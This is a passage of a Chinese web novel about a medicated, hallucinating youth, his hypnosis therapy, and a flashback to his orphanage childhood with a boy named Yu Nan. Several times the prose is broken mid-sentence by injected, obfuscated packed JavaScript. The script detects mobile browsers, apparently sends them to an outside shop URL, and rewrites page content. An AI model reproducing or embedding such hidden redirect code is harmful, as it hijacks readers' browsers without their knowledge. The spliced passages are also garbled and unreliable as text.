迟雾将两掌渐渐收拢,痛苦地抱住自己的脑袋。 温琳从ICU中出来。 他一眼望见迟雾佝偻着的背,但没急着走过去,而是站在病房门口,耐着性子等了会儿。 等到迟雾的背塌得像要折了,他才缓步走过去。 脚步声在空旷的走廊里格外明显。 迟雾抬眼看过去。 温琳坐到他身旁的位子上,问:“听说你最近自己停药了?” 应该是苏贺年和他说的。 迟雾迟钝地点了下头。 停顿数秒,他又问:“温程安怎么样了?” “还在晕着。”温琳陡然问:“……..迟雾,你是不是出现什么幻觉了?” 当时迟雾掐着温程安脖子的时候像是彻底陷入疯魔癫狂,那种模样,温琳在别人身上可能见过不少,但迟雾身上,从未发生过。 而且迟雾当时嘴上还不停说着—— 去死。 温琳知道迟雾的情况,也知道他从小到大吃的药都是精神方面的,以前更是有过不长脑子的人传过“迟雾有精神病”之类的话,不过当时的迟雾确实和现在不大一样,那时候他稍显孤僻冷漠,像是和被绑架前的“迟雾”割裂成了两个人,但那种情况也就持续了一个月,他就恢复了原来的性子。 大家也就把那定性为“被绑架后导致的短期应激反应”,没人往心里记,之后“精神病”的谣言也都被压下去,尽量不去刺激他。 而长期服用精神类药物的弊端,就是产生依赖,以及产生幻觉。 至于是何种幻觉。 可能是将温程安想象成了当年的绑匪,否则,一个温程安远不至于让迟雾下这种狠手。 他要是因为跟踪那事儿,只要和温家通个气,自然有人处理,保准他满意。 温琳又说:“你现在觉得怎么样?” 迟雾没答,重新看向掌心,每次盯着上头属于温程安的血,耳道里那莫名其妙的叫嚣便再次响起,于是,他强迫自己挪开视线。 像是在向上飘动的身体也在此刻重新落下来。 幻觉掌控了他的身体。 他觉得他这重来的一辈子一直都活在幻觉里。 他甚至在想所谓上辈子以及变成鬼魂的数个夜晚是不是都是接连几场停歇不下来的幻想。 迟雾说:“我觉得我出现问题了。” 他强逼自己用陈述冷静的语气说完这句话,却控制不住尾音里夹带着的颤抖。 他或许需要吃药。 他停药真是对的吗? 万一这种情况再出现,而恰巧在他身边的是于南,他不敢想象,他用这双手死死掐住于南的脖子吗。 而温程安那句——我就知道,你在骗于南。 他真的听到了吗? 这会不会也是大脑深处产生的幻觉? 那为什么要产生这样的幻觉。 他潜意识里觉得自己在欺骗于南吗? 哪句,哪句话在欺骗于南。 迟雾控制不住大脑思绪乱窜。 他的嘴唇开始哆嗦。 温琳注意到他的不对劲,连忙伸手抓住他的手腕,用力攥紧,施加痛感,“迟雾?” 他又双掌桎梏迟雾的脑袋,让他看向自己。 “你的药呢?”温琳问。 “……..兜里。” 温琳快速从药盒里扣出两片药塞进迟雾的嘴里。迟雾将药干咽下去,缓了好半晌,身体才停止了颤抖。 迟雾瘫靠着铁椅,眼睛紧盯着白炽灯。 他突然好困。 想要就这么睡去。 迟雾嚅嗫了下嘴唇,强撑着精神。 “……..温琳,温程安大拇指上的是不是有圈疤,我好像看见了,但是不知道是幻觉还是真的。” “而且还是两重幻觉,梦里一次,现实一次。” “不过……..现实比梦里的疤痕要深,梦里我只是轻轻咬了一下,现实那道疤看起来却丑陋到像是狠咬到了骨头的地步。” “真的有那道疤吗……..” 温琳说:“真的。” 迟雾快要阖上的眼皮又睁开了。 温琳又说:“是在孤儿院里和孩子打架留下的,在他进温家之前,一切都查清楚了。” 迟雾脑袋被迫宕机,几乎想到什么就不过脑地往外吐什么。 “那真是我咬的吗?我为什么要咬他呢?我什么时候咬的呢?我在噩梦里穿越到他小时候的孤儿院了吗?不可能吧……..” “……..那小土咬的吗?” “小土长什么样儿啊。” “你知道小土是谁吗……” 温琳看着迟雾那温吞吞还大舌头的模样,到底还是没良心地笑出了声。他说:“你从哪知道的小土?” 迟雾说:“我听见他说我像小土。” 温琳近乎嘲笑地说:“迟雾,你现在这呆呆傻傻的样子,说你是小土真没错。” “小土是孤儿院里拴着的小黄狗。” 一句句话在外绕了八百圈才进了迟雾的耳朵里,约莫过了两分钟,他再次要闭上眼时,才听清。 但他听不懂是什么意思。 格外熟悉的发音挤到耳朵里成了分辨不出的乱码。 迟雾重复了遍:“小黄狗……..” 温琳“嗯”了一声,他抬手往迟雾额头上摸了下,感觉他没发烧,就重新放下手,一边掏出此手机给迟延宁简单报备了声,一边接着说:“他手上那圈不是被狗咬的,是被人咬的,他脑袋后面本来就有道疤,也是那时候砸的,那个孤儿院里的孩子一个个都不讲理,比狗要凶得多。” 只可惜他这慢悠悠的一大段话落,那头的迟延宁都没给他这殷勤的报备回上一通消息。 真日理万机啊。 温琳笑了笑,莫名说了句:“我看监控,你当时说梦话的时候叫‘阿母’了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199152|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说来也巧,孤儿院里的孩子就管院长叫阿母,你以前也这样叫伯母?伯母不生气吗?” 迟雾彻底没了动静。 他靠在冷冰冰铁椅上睡着了。 温琳扫了他眼,脸上笑容收敛两分,垂眼看着另一只手里掐着的药盒,大拇指缓慢地摩挲了下药盒圆滑的折角。 过了数秒。 他从药盒里扣出来两片药,踹进了兜里。 药盒被他重新放进迟雾的口袋里。 温琳起身,进了病房。 病房里的温程安还没醒,机器上的波纹平稳地起伏点点不明显的波纹。 温琳垂眼看了他半晌。 “该醒了吧?”温琳慢悠悠地说。 躺在病床上的人始终没个动静。 温琳拉了张椅子坐下,一条腿搭在另一条腿上,他不甚有耐心地用手指敲了敲大腿。 一分钟。 两分钟。 “你妈在国外……..” 温程安缓慢地睁开了眼。 温琳满意地笑了笑,“原来早就醒了啊?” 温程安扭头,视线冷冰冰地盯着他,像是条毒蛇随之准备绞杀敌人。 温琳却不甚在意,整个人处于极度松弛的姿态,他慢条斯理地说:“你之前骗了我吧?” 温程安没开口,仍旧死盯着他。 温琳从口袋里拿出药片,举起来,对着灯光仔细看了两遍,“于南蓄意接近迟雾,真是因为他弟弟当年替代迟雾被绑匪撕票了吗?” 他掐住药片。 “我怎么觉得,不太对啊?” 当年的绑架案,不止迟家关注,整个圈子都在关注,更是在迟雾安全归家后,还有不少人在秘密调查。 这个圈子里的绑架案,除却一些穷凶极恶之徒的意图勒索谋财,还有可能就是,败犬谋算。 迟家当年的绑架案,至今都没查清究竟是前后哪方,虽说迟家放出消息是前者,但显然,后者的可能性更大,毕竟当时迟家如日中天,生意场上更是狠戾不留情面,得罪了不少人,而绑架案后,迟家在生意场上反而开始畏手畏脚,愈发温吞,真是还开始走下坡路,后来迟延宁上任,这种情况才被扭转。 如果是后者,显然迟雾回来的可能性极小,几率几乎为零。毕竟这种情形下,一旦出手,就是抱着撕票的目的去的,为的就是给人致命一击。 可偏偏迟雾就是回来了。 据温家当时调查,是因为有个孩子替迟雾挡了灾,临时调包,替他没了命。顺着这条线查下去,反倒愈发模糊,根本查不出来那孩子到底是谁。 直到于南的出现,他自从绑架案后就跟踪在迟雾身边,而迟家似乎也对他格外关注,调查于南的资料里有不少内容都被抹去。 是迟家手笔的可能性极大。 于是调查线就绕到了于南身上。 直到于南入狱。 是迟家手笔的嫌疑愈发严重。 这场跟踪戏到这儿远应结束。 但温琳却接着往下查。 孤儿院里在迟雾绑架案发生那年被收养了不少孩子,其中一个被模糊了姓名的孩子在被收养后就没了消息。 据推断,那孩子应当便是替死的羔羊。 而于南的跟踪也有了合理原因。 报仇。 迟家插手,于南本要被定罪十年。 温琳干预了于南的刑审。 而后来。 温琳顺着这个孤儿院查到了温程安。 那张脸还没长开,就有了与温父极其相像的神态眉眼。 温程安被接回温家,也是因为他在温琳这儿有用处。 但显然。 温程安不太听话。 温琳念叨了遍:“阿母?” 他似笑非笑地看着温程安,问:“迟雾是在叫谁阿母?” 38. 第 38 章 迟雾再次醒来时,就发现他身处一间空旷的屋子里,面前只有一张木质办公桌,上头散放着几张没填写内容的空白病历单。 他茫然地向四处看去。 “醒了。”李医生推开门走进来,但今天她身上穿着的不是便服,而是一阵整齐板正的白大褂,手里还拿着个铜质小巧按铃,她面上带着抹淡笑,走到迟雾面前,微凉的手指在迟雾的额头中央摁了下,像是开启机器人的开关一般。 迟雾感觉脑袋里挥散不去的痛感一瞬清空。 又是这种大脑空白一片的感觉。 如同个感知不到事物的傻子。 “李医生……..”迟雾一开口,就发现自己嗓子哑得可怕,音不成音,调不成调。 李医生笑了下,她屈腿靠坐着办公桌,说:“最近见面还真是即频繁又不太频繁,听说你在学校里打伤了个学生?我看了监控,你的状态不大对。” 迟雾就像是被桎梏在监控里的小人,每个和他有关的录像视频都要经过无数人的手,被揣摩分析,并加以定性。 迟雾说:“我感觉,我还是不太清醒。” 他看见的李医生是不停在摇晃的重影。 李医生慢条斯理道:“那让我们来进行一下治疗吧。” 她摁下按铃。 “叮——” 随着清脆的响声落地。 迟雾明显感觉到自己的呼吸慢了下来,他眼前的人彻底变了副模样,那张属于李医生的脸变成了——于南。 于南走到他面前,蹲下身,胳膊搭在曲着的腿上,他仰着脸用一种格外冷静的眼神看着迟雾。 迟雾几乎做不出任何反应,只能任由他这么冷冰冰地盯着自己。 良久。 于南一字一顿地说:“迟雾,你知道吗,我曾想过要杀了你。” 这种表情出现在于南的脸上实在是太过无情,尤其是这抹无情还是针对着他的。迟雾不想看。 这道幻境真让人讨厌。 迟雾闭上眼睛,抬起手指轻慢地在于南的眉间摸,指腹缓慢地动着,辨别着是催眠的幻境,还是现实:“李医生,你为什么……..” 手指顿到眉骨锋处时,话也停住。 是于南的骨相。 他再熟悉不过。 迟雾倏地睁开眼。 于南抓住他的手,直勾勾地看着他,低声问:“为什么叫李医生?叫也该是叫于医生吧?” 迟雾真的分辨不出来了,他再抬眼看四周,环境俨然变成了于南家的地下室,而他发现自己的处境也变了,腿和身体都被绳子捆绑在椅身上,只有手臂还能动。 而角落里的阴暗处还站着一个人,是梦里那个又瘦又黑的温程安。 温程安对上他的视线,表情阴郁,无声地轻笑了下。 于南的手指掐住了他的下巴,强迫他看向自己,声音又低又缓地说:“迟雾,为什么不看着我。” 于南的瞳孔格外的黑,就像一面黑夜中的镜子,迟雾的脸清晰地倒映在里面,甚至能看清自己脸上的表情,他发觉自己也在笑,很诡异奇怪的笑,就像是终于等来什么一样,隐隐藏着病态的兴奋,他从来没这样笑过。 就像是另一重人格在控制着他。 迟雾听见自己说:“你终于来找我了。” 或许他真的精神分裂了。 于南勾着他的手指往自己脖子动脉上摸,迟缓微弱的跳动撞击着指腹,他说:“迟雾,我现在的生活过得差极了,你感觉到了吗,再不见到你我就要死掉了。” 他站起身,却弯着腰,将脸附贴到迟雾的脸侧,在他耳边轻声说:“你一点儿也不想我,究竟是谁想要过更好的生活?你根本不是想让我好过。” 于南的嘴唇从迟雾的耳侧游离,时不时贴上去,就这样一路滑至迟雾的唇角,就在迟雾以为他要亲上去那刻,却骤然抽离,拉开两人之间的距离,“你离开孤儿院,是为了抛弃我,对吧。” 离开孤儿院。 迟雾的脑袋如同被揭开封印,一个个曾在噩梦里出现的场景串联着展开,这是新一重噩梦吗。 李医生所谓治疗,就是让他重新陷入噩梦和幻境吗。 之前的治疗都是尽量避免引起接连反应,如今反倒主动往外引。迟雾想,或许他的症状真的救无可救了,只能这样以毒攻毒。 可噩梦里为什么要出现于南呢。 为什么为什么为什么。 于南小声问他:“怕吗。” 迟雾不受控制地回:“怕什么?” 于南说:“被我绑架。” 就在这时。 温程安在暗处开口说:“于南,你反悔了。” 于南缓慢地站直身子,拉过迟雾的双臂,牵引着他抱住自己的腰,又一手抵着迟雾的脑后,让他被迫用力深拥着自己,就像濒死时抱住唯一一根浮木那样。 于南俯视着拢住迟雾的、属于自己的影子,眉眼弯着,颇为满意,不过他的声音却格外冷淡,他反问道:“反悔?我说过我要对他做什么吗?” 两人贴得太近,声音从上空飘到迟雾的耳朵里,很轻,漫不经心的。 迟雾就像是在一出已经落幕的戏里回顾全程,他无法掌控自己,只能任由于南牵引着他来走完这出老戏。 他只知道,于南的怀抱很暖和。 这场梦是美梦,这场幻境也是美好的。 他又用迟钝的大脑不大灵光地想。 绳子是谁捆到他身上的呢? 于南?还是温程安? 如果是于南,那就太好了,迟雾觉得于南真贴心,绑绳子都记得把他胳膊露在外面用来拥抱,腰背的绳子还勒得紧紧的,很有安全感,迟雾还真没想过他连绑架人都这么细心。 如果是温程安,那迟雾就要骂他是反社会人格的绑架犯,而且绳子绑的很丑、很粗糙,哪有给被绑架者留外面两条胳膊的,方便他逃跑?那太蠢了。 而且这时候的温程安应该正在变声期,嗓音嘶哑,实在难听,一听声音就知道不是好人。 迟雾不明白为什么温程安会出现在这儿,是因为他刚和温程安发生了冲突,大脑皮层里还残留着潜意识吗? 那太烦了。 二人世界的绑架游戏都要被电灯泡注视。 迟雾完全将这当成了李医生刻意构造的幻境,忽略了其中逻辑先后的不连贯,也一并忽视了自己心里对这幅场景莫名的熟悉感与想要逃离的冲动。 他只知道温程安很丑很烦很多余。 迟雾想,要是能让他自主控制身体就更好了。 于南又说:“迟雾,要不要留下来。” 但随着这声落下,一同响起的还有门被爆破的声响。 迟雾的视野顺着声源旋转。 他才发现,原来这儿不是那个地下室,而是与它格外相似的另一处居所,只不过房子里唯一一扇窗户建得格外的高,在紧贴着门的那侧墙上,像是老楼体的凸出构造。 一片尘埃后,一群警察闯了进来。 站在最后方的,是神情冷漠的迟延宁,他的视线笔直地觑着迟雾,如同一把上好膛的枪。 之后。 迟雾发现抱着自己的于南不见了。 周遭环境又变了变。 变成了迟家。 迟母抱着他哭,眼泪将他身上的衣裳都浸染湿了,而迟延宁还以那副姿态站在三步远的位置。 这时的他比起平时的冷淡寡言,更像是暴风雨来临前刻意维持的平静。 他说:“迟雾,过来。” 而后视野再一转。 迟延宁就坐在了书房里,他身子向后倾靠,双手交叉着放在膝盖上,如此居高临下的掌权者姿态,他眯着眼睛说:“迟雾,交易结束,我讨厌有人在我眼皮子底下耍小聪明。” 迟雾听见自己说:“你想怎么样?” 迟延宁字字清晰地说:“迟家需要的是真正的迟雾,而不是一个仅有形似的劣质品,你装得很好,但毕竟瑕疵还存在,我不希望你再演出什么加重我母亲伤口的‘绑架案’,你故意被他绑架的不是吗?” 装? 谁在装。 迟延宁在对谁说话? 他吗? 迟雾被框在固定视野内,通过那双眼睛甚至能感觉到幻境中这具身体的情绪波动,他感觉到了无法压抑的愤怒,在迟延宁说出“交易结束”那四个字时。 什么交易? 和谁交易? 他的第二人格吗? 迟雾好像有些确定了,他可能真的—— 有人格分裂。 否则怎么会冒出这么突入其来的一出戏码呢。 没有源头,没有逻辑。 交易。 他怎么可能跟迟延宁做交易。 他一向对公司的事一窍不通,他有什么资本和迟延宁做交易? 迟雾感觉到自己的身体还在轻微地抖着,他在抗拒迟延宁说的话。 迟延宁拍拍手,李医生从暗门中走出,面上带着得体的微笑,自我介绍道:“你好,以后我就是你的心理医生。” 迟延宁抛出砝码,“绑架案的罪名究竟是重还是轻,只在我一句话,他未来如何,也是我一句话,哪怕提前找好了替罪羊也没用,彻底成为迟雾,或是看着他被清扫。” 他嘴里的每个字眼都又硬又冷,一颗颗子弹从枪杆中射出来,直逼迟雾命门,不容拒绝。 彻底成为迟雾? 什么意思? 逼迫第二人格妥协吗? 可这又和于南有什么关系。 为什么另一个人格会因为于南而屈服呢? 他也喜欢于南吗? 他早就喜欢上于南了吗? 那于南喜欢的是谁? 另一个人格还是现在这个人格? 不对不对。 迟雾提醒自己,这只是幻觉,是一场催眠之下的梦。 画面再次一转。 迟雾又出现在了那间空旷的屋子里。 李医生笑着对他说:“不要紧张,我们慢慢来。” 她再次摁下铜铃。 声音低柔,如同海妖般充满迷惑性。 “迟雾,你有一个十分幸福美满的家庭,从小到大都是天之骄子,唯一的缺憾就是对学习不大上心,但没关系,这不是你需要担心的问题,你的未来是一条平敞大路,最不缺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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迟雾顺着足球在地上碾压出来的痕迹看过去,就看见一群小孩怯生生地盯着自己,他们张了张嘴,却又不敢说话。直到将那颗足球踢出来的孩子被他们推出来。 那孩子身体轻微抖着,小声说:“迟、迟雾,对、对不起,我没看见你在这儿。” 迟雾看着他,没说话。 那孩子才壮着胆子快跑过来,刚弯下腰准备伸手去捡球,迟雾就感觉到自己的身体不受控制地动了。 他没用什么力气,轻飘飘却毫不犹豫地把球踢到一边去。 球滚走了。 孩子的手捞了个空,反倒在地上蹭了层灰。 他颤颤巍巍地直起身,看着迟雾,哭了。 小孩儿的哭声就像是怯懦的犬兽不成调的叫嚎,格外难听。 随着这一声声呕哑嘲哳的摧枯拉朽,迟雾发现自己脑袋里属于李医生的部分渐渐开始模糊,他记得他现在在梦里,却不记得为什么在梦里。顷刻,他脑袋里关于迟家的记忆也开始模糊,再后来,他觉得脑袋一片空白,原本塞满记忆的位置好像空了下来。 他的身体也变得空荡荡的。 衣服太大,肚子还有点儿饿。 等等。 他记得什么来着? 哦。 他记得,他叫迟雾。 他是个孤儿。 他还记得,那个在他饭菜里放过虫子的孩子现在正在他面前哭,他怕他,因为迟雾那时候把那条虫子亲自还给了他,用同样的那个堪称愚钝蠢笨的方式,藏在了菜里。 可同样的方式,为什么迟雾用了他就要怕呢? 哦,因为他们说迟雾不怕虫子的原因是迟雾身体里长满了别人看不见的蛆虫,他说不准还和虫子做朋友,每晚无声地说着虫子和人类之间的悄悄话。 他们被自己吐出来的瞎话给吓到了。 小孩儿的脸上眼泪鼻涕纵横,丑陋无比。 一群胆小鬼。 院长跑出来,她看看正在嚎哭的小孩儿,又看看迟雾,蹙了蹙眉头,却什么都没说,只是朝着其余正站在周围看热闹的孩子挥挥手,让他们聚拢过来,而后颇为娴熟地戴上个和蔼可亲的假面具,扬声说:“今天安丁园又开了一朵花。” 院长以前是园丁,姓安,以前做事的时候总是被人叫安园丁,她觉得那样叫起来不大好听,生疏又别扭,就自觉清新脱俗地学着外国人那套姓氏后置的叫法,让人叫她园丁安,后来这孤儿院的名字也是这么倒置过来的所谓“安丁园”,而每一个孤儿院里的孩子,都被她看作一朵花。 每来一个新孩子,就是新开了一朵花。 迟雾看见一个小孩儿远远地走过来。 那个孩子长得很漂亮。 迟雾一直盯着他看。 院长说,他叫于南。 于是的于,南方的南。 可迟雾觉得应该是美人鱼的鱼。 他就像是一只漂亮的小鱼。 倏然被扔进了臭水沟里。 那时迟雾对人类的美丑有了初步的认知。 他无意识地扯了扯宽大破旧的衣服。 迟雾觉得,他就像是臭水沟里的污。 他们的名字,好像都不太对。 39. 第 39 章 迟雾床位旁有张空床,因为孤儿院里的孩子都不愿意挨着他住,或者说不敢挨着他住,在别的孩子看来,他实在是太奇怪。 他来孤儿院的时间很早。 他是个弃婴,在孤儿院里长大。 当年孤儿院里比他大的孩子都陆续被领养走,熟面孔走了,生面孔进来,之后生面孔变熟后又走,只有他依旧在这儿,还有小孩儿说他其实是院长的孩子,没人敢当面去问院长罢了,谁让院长总是偏袒迟雾呢。但只是稚嫩的恶意猜测。 总之,每个生面孔进孤儿院的时候,在谨慎胆小生恐无法融入时,就被别人灌输了“迟雾是个怪胎”的思想观念。 原本房间里的小床都是间隔着一段距离均匀摆放的,后来一群孩子合力,把小床推挨到房间另一侧远离迟雾的方向,围建出他们的乐园,而迟雾则被阻拦在无形的隔栏外。 只有一张空床被留给他了。 那群孩子自认大方,说这是留给迟雾的虫子朋友的。 新的花朵盛开。 于南被安排在了那张空床位。 院长走后。 孩子们就簇拥着他,七嘴八舌地问些有的没的。 “你多大啊?” “你父母是死了吗?还是抛弃你了呀?” “你为什么没哭啊,大家到这儿的第一天基本都是哭着的,你好奇怪啊。” “……..” 迟雾站在边缘外,听着一句句稚嫩童语,只觉得烦躁,他往旁边走了走,走到墙角去,蹲下看泥土里长出来的狗尾巴草。 就仿佛整个世界都在挤压孤儿院里的生机,连这儿的狗尾巴草都格外枯黄丑陋。 迟雾伸出手捏了捏狗尾巴草的根茎,扁扁的,好像不过多时就要成空壳子了。 “诶,你看见蹲在那儿的那个人了吗?” 迟雾听见有人压低声音说。 这声音实在是太清晰,穿过风进到他耳朵里,比起刻意降低音量,更像是梗着脖子来挤压嗓子里的空气,让声音变得更沉、更无法忽视。 他们故意的。 没人回应那个人,他却兀自说下去。 “他叫迟雾,于南,你的床就挨着他的床,好惨啊,我们帮你把床推走吧。” 话落,周遭的小孩儿也七嘴八舌地附和。 像一群等着喂食的鸭子正在张嘴叫。 难听。 迟雾扭头去看他们,却径直和鹤立鸡群的于南对上了视线。 于南比其他小孩儿都要高,还是站在最中央,就像是枯草堆里刚种下的一棵松柏,尚且稚嫩低矮,但却足够突出。 他的颜色要比枯草艳丽得多。 迟雾就那样盯着他两秒,而后快速垂下眼。 于南却一直盯着他看。 蹲在墙角的男孩足够瘦,稍长的头发遮住眉眼,参差不齐的发尾被衣领遮住一部分,形成一道很柔顺的弧度,但脊骨将衣服撑起褶皱,又显得他锋利不少。他一只手掐起那支即将枯死的狗尾巴草,放在胸前的口袋里,就像正式场合佩戴胸花那般,只不过他的这朵“花”不大正式。 有孩子凑到于南身边,应当是想趴在他耳边说,但那孩子看起来不大,甚至像是这群孩子里最小的一个,两人身高差距实在太大,他踮着脚也只能用额头堪堪碰着于南的肩膀。 他的声音还很尖锐,是孩童惯用的刺耳。 “看吧,他总是做这些奇怪的事,还有,妈妈安分明愿意送他去上学,他偏偏不要,就自己躺在地上看那些捐献进来的烂了大半的旧书,不知道的还以为他有多聪明呢,我们都知道他是在模仿那些自小勤奋的历史人物,可他根本模仿不出来那种范儿。” 于南觉得如果自己能听见,一定能感觉到他的声音像把锯子在自己耳膜上来回拉扯穿透。 很难听。 于南笑了下,说:“是吗。” “是啊是啊。”那孩子立马应,还说:“对了于南,你是大孩子,妈妈安也会送你去学校的,只要在学校里得奖状,回来就能多吃一个鸡腿!妈妈安做的鸡腿很好吃的,妈妈安要是在古代,绝对是皇宫里面的大厨师!” 于南一直盯着他的嘴巴辨别口型,却在话说到一半时直接收回视线。 他在流口水,很脏。 于南又看了眼墙角,那处蹲着的人走了。 空荡荡的。 迟雾。 于南在心底念了遍这两个字。 他也是被迫与正常世界剥离的人,他见过太多怪人,也观察过太多怪人,后来他习惯快速捕捉他们身上的特点,那是一种自我消遣的游戏,也是趋利避害的本能。 在他看来。 迟雾这个“怪人”,不够怪。 一个孩子而已。 被迫压着脱离群体的孩子。 他远可以更加奇怪。 那群孩子带着于南走了,以推攘的方式。 但没有一只脏手挨到他身上,他隐晦地规避着一双双手,沿着引导的路线走。 他们为于南介绍房间,介绍整座孤儿院。 还你一言我一语地介绍安丁园的过去。 在他们的话语里,安丁园就像是座洗涤心灵污秽的教堂,他们被接纳,被照看,被纳入幸福的暖房。他们如此幸运,才能在遭遇不幸后来到这里。 而妈妈安是世界上最好的人,她慈悲、智慧,她原谅他们所犯下的一切错误,不斥责,只用温和的态度加以修正,还会在夜幕降临时为他们念睡前童话,不过童话里的大恩大情总是让他们难以理解。 他们不明白为什么童话的主角总是王子和公主,而不是乞丐和罪犯,可妈妈安说贫穷和罪孽不值得歌颂,于是他们开始扮演豪绅;他们还不明白为什么童话总是美好结局,妈妈安说世界是以美满为最终结局,愿他们没有悲痛的夜梦,于是他们开始幻想自己长到能当王子公主的年纪后会有什么美好结局。 每晚睡前他们都会讨论自己所愿的结局。 他们问于南想要什么结局,是想成为骑白马的王子,还是驭飞龙的王子。 于南笑笑,问:“你们觉得我该是什么结局?” 他们又开始面红耳赤地讨论,反倒将话题中心的孩子搁置在一旁。 孩子的注意力就像是个留有小孔的黑匣子,只需要一点点东西,就能将他们的大脑占满。 至于于南。 他坐在属于自己的窄床上,不动声色地观察着整个房间。 这儿就像是斗兽场的具像化。 堆挤在一起的小床就是坐满观战者的座席。 而角落里那个孤零零的小床就是被围观的战场,里面困着个尚且幼小的兽类。 于南往往最喜欢观察这种孤僻的边缘人物,因为往往这种才是最危险的,人在作恶时总是独行,才能将心里压抑的恶意最大程度地释放出来,保证不会得到任何阻拦。于南也是在观察这种人的时候学会如何保命。 睡前童话? 他也会躺在床上乖乖地听着吗。 于南看见那张小床靠墙一角摞堆着几本书,他细细地观察着册封,都是些数学书,小学的、初高中的、大学的,最上头还放着张写满密密麻麻的字的稿纸。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199154|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于南走过去,拿起那张稿纸。 只见。 上面如毒虫般爬满的字都是—— “不许动我的书,虫子在盯着你。” 于南笑了一声,将稿纸翻了个页。 背面都是些工整抄写的公式,有些于南看不大懂的,超过了他的知识范围。 于南只上过两年小学,还是拖拖拉拉的,时上时停,刚开始上是因为国家扶持政策,学费对他这种家庭的人来说有补贴,几乎不用交什么钱,他自己捡些东西来卖就够用了,但他家的门偶尔会被上几道他无法翘开的铁锁,为了挡那些追债的,他自然也逃不出去,时常缺课,后来老师到家里来家访,却撞见些不得了的画面,直接报了警。 他爹逃了,于南也逃了,只留一个空屋子,之后于南只偶尔去学校领教材,领到直接就走,再之后就直接被迫退学了。 显然。 他还是融入不进正常的世界。 至于所谓的童话、王子。 一个个超现实的问题就像是—— 一只狗妄想用空洞的吠叫换取人类世界的最高地位。 身后的孩子还在吵。 他们的话题从“结局”延展到“过程”。 他们说想通过打败恶龙来证明自己的勇敢。 而孤儿院里的恶龙之称,被他们安置到迟雾的头上。 于南闻到了阵突然降临的香味,放下稿纸,转身看他们,却猝不及防地看见一个坐在自己床边的男孩。 他没说话,视线显得很冷。 于南发现,他换了身更合身、更干净的衣裳,隔着不近不远的距离,于南找到了那香味的来源,是他身上洗涤剂的味道,像是蓝莓味。 属于灰扑扑的房间的味道是干涩的,这一抹味道闯进来,格外特别。 于南说:“抱歉,不该碰你的东西。” 迟雾看了眼稿纸。 这是第一个翻到背面看的人。 之前那些小孩儿靠近的时候,只消远远看一眼,就被“虫子”和“盯”的字眼给吓跑。 哪怕有不怕的,也要佯装害怕,因为要合群。 迟雾重新看向于南,说:“现在是六点钟,还有两个小时就到了睡觉时间,搬走要尽快。” 他指于南那张还没被推入“群体”的床。 于南注意到,迟雾压着床沿的手正缓慢且无意识地靠近衣角,直到大拇指稍微触碰到布料,那动作才就此停止。 他在紧张。 紧张什么? 搬床? 于南歪了下脑袋,说:“一定要搬走吗。” 迟雾听懂他话里的潜台词,手彻底攥紧衣角。 他后悔没把院长花瓶里的花偷出来插到胸前口袋里。 迟雾说:“你不搬吗。” 于南答非所问:“你很干净。” 迟雾床上的被褥毯子都是工整折叠好的,枕头压在最上面,靠着墙。 比起流口水还吵闹的小孩儿,于南更喜欢挨着这么一个干净的人。更何况迟雾摘狗尾巴草的时候,他明显看见土堆里爬出只黑甲壳虫,却没像那些小孩儿说的那般,见到脏虫子像见到鸡腿一样兴奋。 他只是,蜷缩着手指躲了躲。 很明显,他不怕虫子是真的,但嫌脏。 于南拿出放在兜里的、院长送他的那一只玫瑰花,递给迟雾。 玫瑰花被口袋布料挤压地有些萎蔫,但依旧艳丽独特。 迟雾顺着花向上看,看着于南那双黑眸。 于南说:“它比沾土的狗尾巴草更漂亮。” 40. 第 40 章 迟雾没动,于南却主动凑近一步,默不作声地俯下身,亲手将玫瑰花插进他胸前口袋里,手指收回时还不经意地蹭了下迟雾低垂着的下巴。 像一个冰块在皮肤上滑过。 迟雾怔怔地抬眼看向于南,低声提醒道:“院长送的花将是你在孤儿院的往后生活里唯一能合理拥有的鲜花。” 于南挑了下眉头,问:“合理?还有不合理的方法吗。” 迟雾面无表情地说:“抢、偷。” 于南笑出了声,像平和地接受一个还不错的建议般,轻微颔首,说:“好,知道了。” 远处的孩子堆显然终于从幼稚的幻想中抽身,注意到这处,有个孩子更是不停地对于南使眼色。 可惜于南只是淡淡扫了他一眼,便继续和迟雾的对话,“你很喜欢看书吗。” 迟雾自然察觉到他向自己身后瞥那一眼,顺势侧头朝那个方向看去。这个姿势也让他胸前别着的玫瑰花暴露在众人视野内。 这朵玫瑰花的出现代表什么几乎是不言而喻。 迟雾无声地说:“再吵就让虫子吃掉你。” 那孩子脸色一白,瞬间缩回人堆里去。 迟雾满意地转回身,自然地回:“还好,只不过院长会让不怎么看书的孩子去打扫图书馆,我不喜欢打扫卫生,灰很大,很脏。” 他谨记着于南说的那句“你很干净”,又不咸不淡地补充了句:“脏脏的会让人不舒服,我喜欢干净。” 装上了。 于南坐到迟雾的床上,甚至学着他的姿势,双手撑着床沿。两人面对着面。 于南又问:“有什么书可以推荐吗,我也不想去打扫卫生。” 迟雾抿抿唇,说:“你喜欢看什么样的书?” 